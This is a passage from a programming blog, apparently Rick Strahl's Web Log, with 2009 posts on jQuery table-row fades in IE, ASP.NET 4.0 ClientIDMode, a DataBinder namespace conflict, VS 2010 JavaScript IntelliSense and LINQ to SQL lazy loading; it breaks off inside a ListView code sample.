Rick Strahl's Web Log

$.fadeTo/fadeOut() operations on Table Rows in IE fail

Rick Strahl — Mon, 09 Nov 2009 08:20:25 GMT

Here’s a a small problem that one of customers ran into a few days ago: He was playing around with some of the sample code I’ve put out for one of my simple jQuery demos which deals with providing a simple pulse behavior plug-in:

$.fn.pulse = function(time) {
    if (!time)
        time = 2000;

    // *** this == jQuery object that contains selections
    $(this).fadeTo(time, 0.20,
                        function() {                    
                            $(this).fadeTo(time, 1);
                        });

    return this;
}

it’s a very simplistic plug-in and it works fine for simple pulse animations. However he ran into a problem where it didn’t work when working with tables – specifically pulsing a table row in Internet Explorer. Works fine in FireFox and Chrome, but IE not so much. It also works just fine in IE as long as you don’t try it on tables or table rows specifically. Applying against something like this (an ASP.NET GridView):

var sel =
    $("#gdEntries>tbody>tr")
            .not(":first-child")  // no header
            .not(":last-child")   // no footer
            .filter(":even")
            .addClass("gridalternate");

// *** Demonstrate simple plugin
sel.pulse(2000);

fails in IE. No pulsing happens in any version of IE. After some additional experimentation with single rows and various ways of selecting each and still failing, I’ve come to the conclusion that the various fade operations in jQuery simply won’t work correctly in IE (any version). So even something as ‘elemental’ as this:

var el = $("#gdEntries>tbody>tr").get(0);
$(el).fadeOut(2000);

is not working correctly. The item will stick around for 2 seconds and then magically disappear.

Likewise:

sel.hide().fadeIn(5000);

also doesn’t fade in although the items become immediately visible in IE. Go figure that behavior out.

Thanks to a tweet from red_square and a link he provided here is a grid that explains what works and doesn’t in IE (and most last gen browsers) regarding opacity:

http://www.quirksmode.org/js/opacity.html

It appears from this link that table and row elements can’t be made opaque, but td elements can. This means for the row selections I can force each of the td elements to be selected and then pulse all of those. Once you have the rows it’s easy to explicitly select all the columns in those rows with .find(“td”). Aha the following actually works:

var sel =
    $("#gdEntries>tbody>tr")
            .not(":first-child")  // no header
            .not(":last-child")   // no footer
            .filter(":even")
            .addClass("gridalternate");

// *** Demonstrate simple plugin
sel.find("td").pulse(2000);

A little unintuitive that, but it works.

Stay away from <table> and <tr> Fades

The moral of the story is – stay away from TR, TH and TABLE fades and opacity. If you have to do it on tables use the columns instead and if necessary use .find(“td”) on your row(s) selector to grab all the columns.

I’ve been surprised by this uhm relevation, since I use fadeOut in almost every one of my applications for deletion of items and row deletions from grids are not uncommon especially in older apps. But it turns out that fadeOut actually works in terms of behavior: It removes the item when the timeout’s done and because the fade is relatively short lived and I don’t extensively test IE code any more I just never noticed that the fade wasn’t happening.

Note – this behavior or rather lack thereof appears to be specific to table table,tr,th elements. I see no problems with other elements like <div> and <li> items.

Chalk this one up to another of IE’s shortcomings.

Incidentally I’m not the only one who has failed to address this in my simplistic plug-in: The jquery-ui pulsate effect also fails on the table rows in the same way.

sel.effect("pulsate", { times: 3 }, 2000);

and it also works with the same workaround. If you’re already using jquery-ui definitely use this version of the plugin which provides a few more options…

Bottom line: be careful with table based fade operations and remember that if you do need to fade – fade on columns.

Posted in jQuery

ClientIDMode in ASP.NET 4.0

Rick Strahl — Sat, 07 Nov 2009 23:58:03 GMT

One of the more anticipated features of ASP.NET 4.0 – at least for me - is the new ClientIDMode property, which can be used to force controls to generate clean Client IDs that don’t follow ASP.NET’s munged NamingContainer ID conventions. To be clear, NamingContainer IDs are necessary for complex controls and pages that nest many things inside of a single context, but for most application level Web design scenarios those munged IDs get in the way and don’t provide a lot of value.

The munged IDs affect all sorts of development scenarios from design and CSS styling where ID haven’t been predictable for #id styling:

#ctl00_content_txtName 
{
    font-weight: bold;
}

vs the more expected:

#txtName
{
    font-weight: bold;
}

And even more so there’s the whole nightmare of ClientIds in script pages where code like this:

    <script type="text/javascript">
        var txtName = $("<%= txtName.ClientID %>");
        var txtTitle = $("[id$=_txtTitle]");
    </script>

or some other pre-generation code is necessary to get client id’s properly referenced in script code.

ClientIDMode

In prior versions of ASP.NET you had to live with the problem or work around with various hacks. In ASP.NET 4.0 things get a little easier via the new ClientIDMode property which allows you to specify exactly how a ClientID is generated.

The idea is simple: you get a new ClientIDMode property on all ASP.NET controls which can be set either at the actual control or somewhere up the NamingContainer chain. If the ClientIDMode property is not set on a control it inherits the setting from the nearest NamingContainer with the exception of the <asp:Content> placeholder which doesn’t participate in ClientIDMode processing (bummer!).

This means if you choose to you can set ClientIDMode on the Page level and it will trickle down into all the child controls on the page, but a custom naming container like a User Control can still override the ClientIDMode to enforce it’s naming container requirements. It’ll be interesting to see how much existing code might break based on this inheritance scheme as custom controls may lose controls over their ClientID naming if the ClientIDMode property isn’t set explicitly.

Anyway let’s take a look at a very simple example and how the ClientIDMode property affects the ID rendering. Imagine you have a page that uses a master page and is set up like this:

<%@PageTitle=""Language="C#"MasterPageFile="~/Site.Master"AutoEventWireup="true"
       CodeBehind="WebForm2.aspx.cs"
       Inherits="WebApplication1.WebForm2"
        ClientIDMode="Predictable"
%>
<asp:ContentID="content"ContentPlaceHolderID="content"runat="server"ClientIDMode="Static" >
    <asp:TextBox runat="server"ID="txtName"ClientIDMode="Static" />
</asp:Content>

Here’s what the various values for the txtName property can look like:

AutoID

This is the existing behavior in ASP.NET 1.x-3.x where full naming container munging takes place.

<input name="ctl00$content$txtName" type="text" id="ctl00_content_txtName" />

In Beta 2 this is the default value for the Page. According to the latest VS 2010 documentation however, the default behavior by release time will be Predictable.

Static
This option forces the control’s ClientID to use its ID value directly. No naming container naming at all is applied and you end up with clean client ids:

<inputname="ctl00$content$txtName"type="text"id="txtName" />

This option is what most of us want to use, but you have to be clear on that this can potentially cause conflicts with other control on the page. If there are several instances of the same naming container (several instances of the same user control for example) there can easily be a client ID naming conflict. It’s basically up to you to decide whether this is a problem or not.

Note that if you assign Static to a Databound control like a list child controls in templates do not get unique IDs either, so for list controls where you rely on unique Id for child controls you’ll probably want to use Predictable rather than Static. More on this a little later when I discuss ClientIDRowSuffix.

Predictable

The previous two values are pretty self-explanatory. Predictable however, requires some explanation. To me at least it's not in the least bit predictable :-}.
MSDN defines this enum value as follows:

This algorithm is used for controls that are in data-bound controls. The ClientID value is generated by concatenating the ClientID value of the parent naming container with the ID value of the control. If the control is a data-bound control that generates multiple rows, the value of the data field specified in the ClientIDRowSuffix property is added at the end. For the GridView control, multiple data fields can be specified. If the ClientIDRowSuffix property is blank, a sequential number is added at the end instead of a data-field value. Each segment is separated by an underscore character (_).

The key that makes this value a bit confusing is that it relies on the parent NamingContainer’s ClientID to build it’s own client ID value. Which effectively means that the value is not predictable at all but rather very tightly coupled to the parent naming container’s ClientIDMode setting.

For our simple textbox example, if the ClientIDMode property of the parent naming container (Page in this case) is set to “Predictable” you’ll get this:

<input name="ctl00$content$txtName" type="text" id="content_txtName" />

which gives a name that walk up to the currently active naming container (the MasterPage content container) and starts the name from there downward. Think of this as a semi unique name that’s guaranteed unique only for the naming container.

If on the other hand the Page is set to “AutoID” you get with Predicable on txtName:

<input name="ctl00$content$txtName" type="text" id="ctl00_content_txtName" />

The latter is effectively the same as if you specified AutoID in this scenario because it inherits the AutoID naming from the Page and Content control of the page. But again – predictable behavior always depends on the parent naming container and how it generates its id so the ID may not always be exactly the same as the AutoID generated value because somewhere in the NamingContainer chain the ClientIDMode setting may be set to a different value. For example if you had another naming container in the middle that was set to Static you’d end up effectively with an ID that starts with the NamingContainers' ID rather than the whole ctl000_content munging.

The most common use however for Predictable will be for DataBound controls, which results in a each data bound item to get a unique ClientID.

Predictable is useful, but only if all naming containers down the chain use this setting. Otherwise you’re right back to the munged Ids that are pretty unpredictable.

Inherit

The final setting is Inherit which is the default for all controls except Page (AFAIK). This means that controls by default inherit the naming container’s ClientIDMode setting.

Inheritance

The explicit values are pretty obvious in what they do and when they are applied to individual controls. AutoID is classic behavior, Static is what we want in typical client centric apps, and Predictable is what you typically will want to use for list controls and anything that has possible naming conflicts.

Things get a little more tricky with inheritance of these settings. Specicfically the ClientIDMode property inherits from a NamingContainer down. Unlike most other ASP.NET hierarchy inheritance the ClientIDMode inheritance is based on the NamingContainer not on the Parent Container.

What this means is that if you set ClientIDMode="Static" on a Page or MasterPage all controls inherit that settings:

<%@ Page Title="" Language="C#" MasterPageFile="~/Site.Master" AutoEventWireup="true" 
         CodeBehind="WebForm2.aspx.cs" Inherits="WebApplication1.WebForm2"  
         ClientIDMode="Static" %>

If you don’t set the ClientIDMode on any other controls the entire page will use Static. Any UserControls can override the setting but all controls will use this setting.

Now imagine I do:

<%@ Page Title="" Language="C#" MasterPageFile="~/Site.Master" AutoEventWireup="true"
CodeBehind="WebForm2.aspx.cs" Inherits="WebApplication1.WebForm2"
ClientIDMode="Predictable" %>

and I’m running inside of a master page and I put in a block of controls like this:

    <asp:Panel runat="server"  ClientIDMode="Static">
        This is a test:
        <asp:TextBox runat="server" ID="txtName" />
        <asp:Button ID="btnSubmit" runat="server" Text="Go"  />
    </asp:Panel>

Quick what should you see? Unfortunately not what I would have expected – although it’s true to what the documentation advertises. The block above renders into:

<div>
    This is a test:
    <input name="ctl00$content$txtName" type="text" id="content_txtName" />
    <input type="submit" name="ctl00$content$btnSubmit" value="Go" id="content_btnSubmit" />
</div>

What’s happening here is that even though we specified Static naming on the Panel (which is not a NamingContainer) Predictable naming is used which runs up to the nearest naming container – in this case the Master Page Content control and using that as its base for the name. If I want those controls to render with clean ids I need to explicitly mark the controls to use Static:

    <asp:Panel runat="server"  ClientIDMode="Static">
        This is a test:
        <asp:TextBox runat="server" ID="txtName" ClientIDMode="Static" />
        <asp:Button ID="btnSubmit" runat="server" Text="Go" ClientIDMode="Static" />
    </asp:Panel>

or by changing the Page’s ClientIDMode to Static:

<%@ Page Title="" Language="C#" MasterPageFile="~/Site.Master" AutoEventWireup="true" 
        CodeBehind="WebForm2.aspx.cs" Inherits="WebApplication1.WebForm2"  
        ClientIDMode="Static" %>

With either of those in place I now get:

<div id="Panel1">
        This is a test:
        <input name="ctl00$content$txtName" type="text" id="txtName" />
        <input type="submit" name="ctl00$content$btnSubmit" value="Go" id="btnSubmit" />    
</div>

Notice that when page level ClientIDMode="Static" the <div> tag now renders with an explicit ID which is rather inconsistent (it’s not there if I just have ClientIDMode=”Static” on the Panel alone).

Note that you unfortunately cannot use an <asp:Content> control and specify the ClientIDMode like this:

<asp:Content ID="content" ContentPlaceHolderID="content" runat="server" ClientIDMode="Static">

This has no effect on the controls contained inside of the Content container which still inherit the ClientIDMode from Page in this case. This is really annoying because the Content container certainly is part of the naming container hierarchy that is reflected in the ClientIDName for Predictable and AutoId.

There’s a way around this by using:

Static on the List Control
Predictable on all of the Child controls

This looks like this:

    <asp:GridView runat="server" ID="gvProducts" AutoGenerateColumns="false"
                  ClientIDMode="Static" ClientIDRowSuffix="id"  
                  DataSourceID="xmlDataSource" 
                   >  
                  <Columns>
                    <asp:TemplateField> 
                        <ItemTemplate>
                            <asp:Label runat="server" id="txtTitle" Text='<%# Eval("title") %>' 
                                       ClientIDMode="Predictable"/>
                        </ItemTemplate>
                    </asp:TemplateField>
                    <asp:TemplateField> 
                        <ItemTemplate>
                        <asp:Label runat="server" id="txtId" Text='<%# Eval("id") %>' 
                                   ClientIDMode="Predictable" />
                        </ItemTemplate>
                    </asp:TemplateField>

                  </Columns>  
    </asp:GridView>

which results in:

<table cellspacing="0" rules="all" border="1" id="Table2" style="border-collapse:collapse;">
    <tr>
        <th scope="col">&nbsp;</th><th scope="col">&nbsp;</th>
    </tr><tr>
        <td>
                    <span id="txtTitle_32">West Wind West Wind Web Toolkit</span>
                </td><td>
                <span id="txtId_32">32</span>
                </td>
    </tr>
</table>

This does produce what I would consider a desirable result although I had hoped that using Static on the list control without any further formatting would have produced this result. Unfortunately the Predictable setting on each of the child controls is required to get the clean ids into the child controls.

ClientIDRowSuffix

Another feature of the ClientID improvements in ASP.NET 4.0 is the ClientIDRowSuffix which can be applied to DataBound/List controls. I used it above in the grid to have the enumerated client id of the child controls use the value of an Id field from the database as the enumeration value. This setting basically determines how ID values for template controls in databound controls are generated, but it requires that the ClientIDMode is set to Predictable. It produces:

id="txtTitle_32"

where the _32 in this case comes from the Id of the data source which is nice than only using sequentially numbered values in previous versions of ASP.NET which were often worthless in client situations. Using an actual data value that can be looked retrieved on the client and sent back on an Ajax callback makes these IDs much more useful.

Wouldn’t it be nice if Client Row Ids could be generated?

What would be even nicer is that the generated ‘rows’ of a data bound control could optionally generate ids. In most Ajax situations the row level ID is really what’s useful – selections of rows for deletion, editing and updating always require an ID even if there are no child controls, but ASP.NET doesn’t provide an easy mechanism for embedding row ids. It sure would be get output like this:

    <tr id="content_gvProducts_33">
        ...
    </tr>

This can be done with code in a GridView (and other list controls) with ItemCreated events it’s quite a pain to do this. For example for the gridview I’m using with a simple XmlDataSource control I have to do this:

protected void gvProducts_RowCreated(object sender, GridViewRowEventArgs e)
{
    object dataItem = e.Row.DataItem;

    if (dataItem != null)
    {
        XPathNavigator nav = ((IXPathNavigable)dataItem).CreateNavigator();
        if (nav != null)
            e.Row.Attributes.Add("id", this.gvProducts.ID + "_" + nav.GetAttribute("id",""));
    }
}

to produce output like this:

which is anything but intuitive for such a common scenario (although this IS a bit easier to grab the data if you use Entity list or DataTable binding).

Data List Controls and Static Produces Invalid HTML

One more note: Using Static on list controls with child controls and NOT using Predictable for child controls is problematic as it will generate static IDs for ALL template items:

    <table cellspacing="0" rules="all" border="1" id="Table1" style="border-collapse:collapse;">
        <tr>
            <th scope="col">&nbsp;</th><th scope="col">&nbsp;</th>
        </tr><tr>
            <td>
                            <span id="txtTitle">West Wind West Wind Web Toolkit</span>
                        </td><td>
                        <span id="txtId">32</span>
                        </td>
        </tr><tr>
            <td>
                            <span id="txtTitle">West Wind West Wind Web Store</span>
                        </td><td>
                        <span id="txtId">33</span>
                        </td>
        </tr>
    </table>

This is invalid HTML since there are multiple controls with the same id attribute on the page which is clearly undesirable. To fix this remember to use Predictable on any of the child controls.

Or better yet stay away from server controls altogether in template columns – stick to plain HTML controls and use AJAX to update values to the server more interactively. :-}

How should we use ClientIDMode?

I suspect it’s going to take some time to figure out all the little nuances of the new ClientIDMode features. At the very least the Static option on individual controls allows you to explicitly force controls to use the name you want it to and that’s a win any way you look at it.

For now I think the following is what I want to use in typical page scenarios in my applications:

Add ClientIDMode="Static" to each Page (or in web.config’s <pages> setting)
Add ClientIDMode="Predictable" explicitly to each List Control Children in Databound Template
Override explicitly to Predictable where naming conflicts are a problem and to AutoId for the extreme edge case
For Control Development leave at default behavior if possible (ie. Inherit from parent)
Override only when necessary and preferrably on individual subcontrols

Also for now I think it’s a good idea to EXPLICITLY specify a ClientIDMode on each page (or in your project) or explicitly declare the value in your web.config file:

<pages clientIDMode="Static" />

to ensure you get a predictable setting since the current Beta 2 implementation and the documentation are at odds of what the default value actually is.

It’s funny to think that such simple functionality should cause such complex workarounds and dependent behaviors but I suspect with a consistent regimen of CLientIDMode settings you can achieve output that works for any scenario. Time will tell.

Posted in ASP.NET JavaScript

Ambiguous References in DefaultWsdlHelpGenerator.aspx

Rick Strahl — Tue, 03 Nov 2009 01:52:22 GMT

Here’s a little oddball issue I ran into today that hosed – during a demo of course – all the existing ASMX Web Services text pages in one of my applications. The error that occurred resulted in a yellow screen of death when accessing the ASMX service directly (http://localhost/wwstore/services/WebStoreConsumerService.asmx):

CS0104: 'DataBinder' is an ambiguous reference between 'Westwind.Web.Controls.DataBinder' and 'System.Web.UI.DataBinder'

The issue here is caused by the fact that I have a component in Westwind.Web.Controls.DataBinder that apparently conflicts with the System.Web.UI.DataBinder. You would think that the separate namespaces should isolate me from problems like this, but unfortunately here the overlapping names ram heads due to the use of a static method call of DataBinder.Eval().

The problem is that the DataBinder.Eval() is a static method call so there’s never an instance created to qualify exactly which type is to be used. Both System.Web.UI and Westwind.Web.Controls are in scope, the former because it’s automatically included as a namespace, the latter because it’s added explicitly in the <pages><namespaces> section of Web.Config:

    <pages>
      <namespaces>
        <add namespace="Westwind.Web" />
        <add namespace="Westwind.Web.Controls" />
        <add namespace="Westwind.Utilities" />
        <add namespace="Westwind.WebStore" />
      </namespaces>
      <controls>
        <add assembly="Westwind.Web" namespace="Westwind.Web.Controls" tagPrefix="ww" />
      </controls>
    </pages>

which automatically includes the namespace into the page.

The result is that that the DataBinder.Eval() can’t be resolved properly by the compiler – it doesn’t know which DataBinder should be used. Actually it’d be nice if the compiler was smart enough to check for the actual method Eval before throwing the error. Since my component doesn’t have a static Eval method (or any static members for that matter) it seems that the compiler should be able to prioritize the call.

Ironically this error would not be an issue if this was anything but a framework provided page which is:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\DefaultWsdlHelpGenerator.aspx

To fix the problem is easy enough by changing all the .NET 1.x DataBinder.Eval() calls with:

<%# System.Web.UI.DataBinder.Eval(Container.DataItem, "Value.Documentation") %>

<%# Eval("Value.Documentation") %>

Replacing all DataBinder.Eval instances with either code fixes the problem, but of course it only does so on my machine(s) – still a problem for anybody else.

In the end there are few solutions that can be used to work around this problem – none really satisfying. The easiest and the one I actually ended up with is by removing the Westwind.Web.Controls namespace from the global ASP.NET namespace list:

      <namespaces>
        <add namespace="Westwind.Web" />
        <!--<add namespace="Westwind.Web.Controls" />-->
        <add namespace="Westwind.Utilities" />
        <add namespace="Westwind.WebStore" />
      </namespaces>

It turns out that this works just fine in my case because the Westwind.Web.Controls namespace isn’t used much in Web page code. A while back I thankfully refactored all the utility and control code into separate namespaces, so the need for the Controls namespace is not used much if at all.

The other option I was at first considering to get around this was to put the control into a separate namespace (ie. Westwind.Web.Controls.DataBinding) which certainly would have worked but this causes a number of problems when adding page register commands into the page. The following wouldn’t work:

<%@ Register Assembly="Westwind.Web" Namespace="Westwind.Web.Controls" TagPrefix="ww" %>

unless I also add:

<%@ Register Assembly="Westwind.Web" Namespace="Westwind.Web.Controls.DataBinding" TagPrefix="ww" %>

IOW, changing a lot of pages potentially.

Finally another solution is to add web.config file into the folder with the Web Service(s) and explicitly exclude the offending namespace(s):

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.web>
    <pages>
      <namespaces>        
        <remove namespace="Westwind.Web.Controls"/>
      </namespaces>
    </pages>
  </system.web>
</configuration>

This assumes you isolate the Web Services into a separate folder.

This is obviously a very isolated incident and situation, but it’s easy to get tripped up by this. Ideally I think that the generic .NET code in DefaultWsdlHelpGenerator.aspx was namespace safe by explicitly prefixing namespaces in static method calls.

There goes another couple of hours of sleuthing to find a solution. <shrug>

Posted in ASP.NET Web Services

No JavaScript IntelliSense in VS 2010 Beta 2? Reset your Settings

Rick Strahl — Thu, 22 Oct 2009 21:52:05 GMT

When I installed Visual Studio 2010 a couple of days ago I was really disappointed to see that JavaScript Intellisense failed to work completely in the new install. No workey in .js files, or ASPX pages inside of script blocks. After some back and forth with folks on the ASPInsiders list and the product teams it looks like there is an issue somewhere with the default settings that get set when Visual Studio 2010 first installs.

This doesn’t affect all installs, but there were handful in a small group of folks, so this is likely going to hit a few of you trying out Visual Studio 2010 as well.

To get Intellisense to work again, thanks to a tip from Luis Abreu, I ended up resetting my Visual Studio settings (Tools | Import and Export Settings):

then go ahead and reset to your preferred default profile (I typically choose the C# profile over the Web profile). This may seem counter intuitive immediately after a new install since I hadn’t changed any settings yet, but the reset did the trick.

And voila, Intellisense in JavaScript is back.

I suspect this has something to do with VS 2010 importing some existing VS 2008 settings, so even if you don’t have problems in VS 2010 it might be a good idea to actually reset all settings just to make sure there’s a clean slate to start with.

Hope this helps out some of you.

Other JavaScript Editor Thoughts

One nice feature that will be quite useful is support for CodeSnippet Expansion in JavaScript, which means you can automate common tasks with keyboard expansions. Since there’s no CodeRush for VS 2010 yet and I keep typing my CR shortcuts out of habit, I guess I’m going to fix up some my more common shortcuts as code snippets (especially for ASP.NET snippets). The main reason I didn’t use Code Snippets extensively in the past is because there was no support for ASP.NET and JavaScript but now there’s much less of an excuse. While I still prefer the ease and flexibility with which you can create new shortcuts in CodeRush, the VS Code Snippet functionality is relatively nice and easy and it’s built in and easily portable to other VS installations.

jQuery support (with the –vsdoc.js extension files) is now also baked in VS 2010 – jQuery Intellisense just works out of the box and it seems that Intellisense is much more snappy. No more long delays before it works even in large script files and quicker IS pop ups while typing. The JavaScript Intellisense engine (according to release notes) has been reworked to be more flexible and supposedly faster because of it and this first quick checks seem to confirm that.

There are also some improvements in the code formatting behavior which in the past drove me batty with its inconsistent Indenting, re-indenting, outdenting etc. It appears that now the editor gets the intended behavior right most of the time – the result is the auto-format is a heck of a lot less jumpy than it used to be. In a few tests of a script heavy app I’m working on the auto-indenting with often nested jQuery code ended up working predictably and not jumpy as in 2008. Not exactly a new feature but I’m just glad to see this working much better the way it’s supposed to.

Unfortunately the JavaScript editor’s improvements in general are rather minor. There’s still no code navigation of any kind (no function list drop down or class/function/navigator) which IMHO is the biggest shortcoming of the VS JavaScript editor. Disappointed as there was some discussion that this was a coming feature for the VS 2010 editor. Anything beyond Ctrl-F to find code inside of the JS editor would be useful.

Also Refactoring inside of JavaScript surely would be nice. At the very least renaming support is something I wish for in many occasions. Basic function extraction would be useful too as well as block optimization refactorings, but renaming really is the one I would like more than anything.

Anyway, it looks like minor improvements at this point and let’s hold out hope there may still be additional improvements by the time VS 2010 ships.

Posted in JavaScript Visual Studio

A generic way to find ASP.NET ClientIDs with jQuery

Rick Strahl — Thu, 15 Oct 2009 09:04:15 GMT

I’ve been using a small hack to deal with the ASP.NET naming container morass that is so prevalent in client side development with ASP.NET. Particularly in Master Pages all server control IDs are basically munged because the master page place holders are naming containers.

To recap – the problem is that if you are dealing with something as simple as this:

<div class="contentcontainer"  runat="server" id="PageContent">
    <h2>Stock Quote Lookup</h2>
    
    <div class="labelheader" style="margin-top: 20px;">Enter a stock symbol:</div>
    <asp:TextBox runat="server" ID="txtSymbol"  /> 
    <input type="button" id="btnGetQuote" value="Go" />
    
    <div id="divStockWrapper">
        <div id="divStockDetail">        
        </div>
        <img id="imgStockChart"  />
    </div>
</div>

inside of master page or even a container or user control you end up generating HTML output that looks something like this:

<div class="contentcontainer" id="ctl00_MainContent_PageContent">
    <h2>Stock Quote Lookup</h2>
    
    <div style="margin-top: 20px;" class="labelheader">Enter a stock symbol:</div>
    <input type="text" id="ctl00_MainContent_txtSymbol" 
                       name="ctl00$MainContent$txtSymbol" /> 
    <input type="button" value="Go" id="btnGetQuote"/>
    
    <div id="divStockWrapper">
        <div id="divStockDetail">        
        </div>
        <img id="imgStockChart"/>
    </div>
</div>

Notice the ctl00_MainContent prefixes that are added to the server controls that point to the master page and content container respectively. You get those nice and un-friendly ASP.NET naming container generated ids that are a bitch to use in client side code. You don’t want to use these generated names directly because they can easily change if you rename any of the IDs down the chain – if you change the content placeholder’s id so will the id and your script code might break because of it. Not a good idea to use those ids directly.

Now if you want to access this client code you have to jump through a few hoops. A few common ways to access these values with jQuery look like this:

$("#<%= txtSymbol.ClientID %>")

or slightly better more generic approach that stores all client IDs in an object globally:

var ids = { 
    txtSymbol: "#<%= txtSymbol.ClientID %>",
    PageContent: "#<%= PageContainer.ClientID %>"
}
// to use it any where in code:
$("#" + ids.txtSymbol)

The latter also partially gets around the main problem with ClientIDs in that they only work in ASPX pages not external .js files. The latter approach lets you declare only the id definitions in the main page, but the IDs can be globally accessed even in a .js file.

I also posted about a ScriptVariables component that can automate this object creation on the server as part of a component (ScriptVariables component and updated code) so you don’t have to manually map all of the client ids – the component can do it automatically (as well as a few other things like passing any values into JavaScript explicitly with proper formatting ). With this component you have a couple of lines on the server (anywhere in a Page):

ScriptVariables scriptVars = new ScriptVariables(Page, "serverVars");
scriptVars.AddClientIds(Form, true);

which generates a serverVars variable into the client. You can then use the ids like so:

$("#" + serverVars.txtSymboldId)

All of these workarounds are pretty ugly though.

A better Solution

A solution I’ve been using a lot lately is by taking advantage of jQuery itself. We can search for Ids directly from JavaScript since there’s a pretty simple pattern to clientID – at least when dealing with non-repeating values.

Remember a typical client ID that isn’t in a list control of some sort looks something like this:

ctl00_MainContent_txtSymbol

which is actually fairly easy to find with jQuery:

alert( $("[id$=_txtSymbol]").attr("id"));

You can use that directly in your JS code from anywhere that works for most situations, but while it’s not exactly complicated you still have to remember what the format of these controls looks like and how to do an attribute search. It also doesn’t deal with the case where a control might just exist on a page without a master/naming container. How many times have you created a client code page that started out as standalone page and then you later added a Master Page only to find out most of your script code is broken due to the invalid IDs? I know I have.

Knowing the above though it’s easy enough to create a small routine that returns us a jQuery object based on only the id:

function $$(id, context) {
    var el = $("#" + id, context);
    if (el.length < 1)
        el = $("[id$=_" + id + "]", context);
    return el;
}

This code uses jQuery to first do a plain ID search and the behavior of the function is the same as the native jQuery constructor except for the specific selector implementation that only finds IDs. Just as with jQuery you can pass in a relative selector context ( a jQuery object or DOM Element) that limits the search to children of that elements’ level in the DOM hierarchy.

If the function finds a direct match on the ID that’s returned. If not it checks to see if a context was passed. A context is the container context and if passed the search here is limited to that specific container and its immediate children. This is meant to make it easier to isolate naming containers in case there is a possibility of overlapping names so you can drill into a specific user control for example.

So in simple usage to select my ctl00_MainContent_txtSymbol value both of the following work:

alert( $$("txtSymbol").attr("id") );

Or if I want to be specific about the container:

alert( $$("txtSymbol",$("#wrapper")).attr("id") );

This is a low impact approach to dealing with client ids that is easy to type and understand. Obviously you can name this function anything you chose – the $$ just seemed like a good choice to me that doesn’t conflict with anything that jQuery isn’t already conflicting with :-}. I suppose it would also be possible to create a special selector operator in jQuery for this, but I think I actually like the single function implementation better even though it lives outside of jQuery.

Please realize that this won’t address all scenarios where naming container variables might be involved. Specifically this function only deals with the simple ASP.NET variable case – it doesn’t deal with list controls that output sequentially numbered ids, but then that’s not really been an issue for me. I don’t think one often searches for list items by ID directly – they are usually accessed by event behavior or iteration – rarely directly by ID.

Single controls however - I constantly access to get or set values on and manipulate items. While I get more and more away from using server controls at all there are still plenty of times when naming container naming ends up in markup and this makes using these controls a no-brainer.

Performance

Also realize that doing attribute selector searches are fairly slow (but then ‘slow’ is relative). If you have very large documents with lots of elements and you’re doing many lookups using this function you may run into slow performance issues. If that’s the case using the original concept of a global variable that holds all the ids – either manually created or via the ScriptVariables component from the West Wind Web Toolkit – to get better performance. Because that approach uses direct element ids it’s very efficient as ID lookups in a document are among the fastest lookups the DOM can perform.

So as usual there are trade-offs – you’re trading convenience over performance with the $$() function I showed here.

I hope some of you find this simple solution useful.

Posted in jQuery

LINQ to SQL, Lazy Loading and Prefetching

Rick Strahl — Mon, 12 Oct 2009 09:56:53 GMT

LINQ to SQL by default loads related entities and entity sets by using Lazy Loading. Which means if you retrieve a list of entities in a query that references other entities these other entities are not actually loaded unless you physically access them. Lazy loading is quite useful in some scenarios – typically when you load up individual instances for display purposes in simple record based UIs, but it can be a real problem when displaying list based data that needs to have access to related data. In related list scenarios it’s quite easy to have a list that has 100 records displayed on a page to fire off 100 hundred child queries to retrieve the related data – clearly in most cases that’s quite undesirable.

Lets look at an example, from my Time Trakker sample application for the LINQ to SQL business layer.

In my Time Trakker app I have time entries that can be queried. An entry has a related project and customer which in turn can be referenced through the project:

So if I have an EntryEntity I can get a project with Entry.ProjectEntity and a customer with Entry.ProjectEntity.CustomerEntity. So far so good.

Now in my businesslayer I have a routine that basically allows me to query this model for a timesheet report by passing in a bunch of report parameters via a parameter object like so:

public IQueryable<EntryEntity> GetTimeSheetByClient(TimesheetReportParameters parms)
{                        
    IQueryable<EntryEntity> result =
        from entry in Context.EntryEntities
        where entry.TimeIn >= parms.FromDate && 
              entry.TimeIn < parms.ToDate.Date.AddDays(1) &&
              entry.PunchedOut &&
              parms.Companies.Contains(entry.CustomerPk)
        orderby entry.ProjectEntity.Customer.Company, entry.ProjectEntity.ProjectName, entry.TimeIn 
        select entry;

    if (parms.BillType == "Unbilled")
        result = result.Where(e => !e.Billed);
    else if (parms.BillType == "Billed")
        result = result.Where(e => e.Billed);
    
    return result;
}

The parameter object has things like a date range, which type of entries to retrieve and so on which are applied against the mode in the query consecutively. This incremental building up of queries using Linq’s fluent language interface is one of my favorite LINQ features. The result of this query is then returned as an IQueryable<EntryEntity>.

When I retrieve this list of entries in the ASP.NET front end I end up databinding it and then binding to the data inside of a ListView control. The data used is mostly from the Entry Entity but there’s also some data displayed from the customer and project. Here’s what the html based report looks like:

Notice the headers which include the customer name and project name which come from related entities.

Now when the report runs it loads the report like this:

protected void ProcessReport()
  {            
      this.ReportParameters.Companies.Clear();

      foreach (ListItem item in this.lstCustomers.Items)
      {
          if (item.Selected)
              this.ReportParameters.Companies.Add(int.Parse(item.Value));
      }

      this.DataBinder.Unbind();

      if (this.DataBinder.BindingErrors.Count  > 0)
      {
          this.ErrorDisplay.ShowError(this.DataBinder.BindingErrors.ToHtml(), "Please correct the following");
          return;
      }

      IQueryable<EntryEntity> entries = this.Entry.GetTimeSheetByClient(this.ReportParameters);

      // We'll dynamically load the ReportView User Control View, bind it then render
      TimeSheetReport rep = this.LoadControl("~/Reports/TimeSheetReport.ascx") as TimeSheetReport;
      rep.BindData(entries, this.ReportParameters);

      this.RenderReport(rep);
}

then the actual binding in the report to the listview the TimeSheetReport control:

public void BindData(IQueryable query, object parameters)
{
    this.Parameters = parameters as TimesheetReportParameters;

    this.entryList= (query as IQueryable<EntryEntity>).ToList();

    this.lstReport.DataSource = this.entryList; 
    this.lstReport.DataBind();            
}

And finally the data is actually bound:

<asp:ListView runat="server" id="lstReport" ItemPlaceholderID="layoutContainer"  >
<LayoutTemplate>    
    <div id="layoutContainer" runat="server" />
</LayoutTemplate>
<ItemTemplate>    
    
    <%# this.RenderProjectGroupHeader(Container.DataItem as EntryEntity) %>
    <div class="itemcontainer">    
    <div class="itemheader"><%# Eval("Title") %>   </div>    
    <table width="90%" cellpadding="5">
    <tr>
    <td valign="top" style="width:120px;"><small><%# TimeUtils.ShortDateString((DateTime) Eval("TimeIn"),true) %><br />
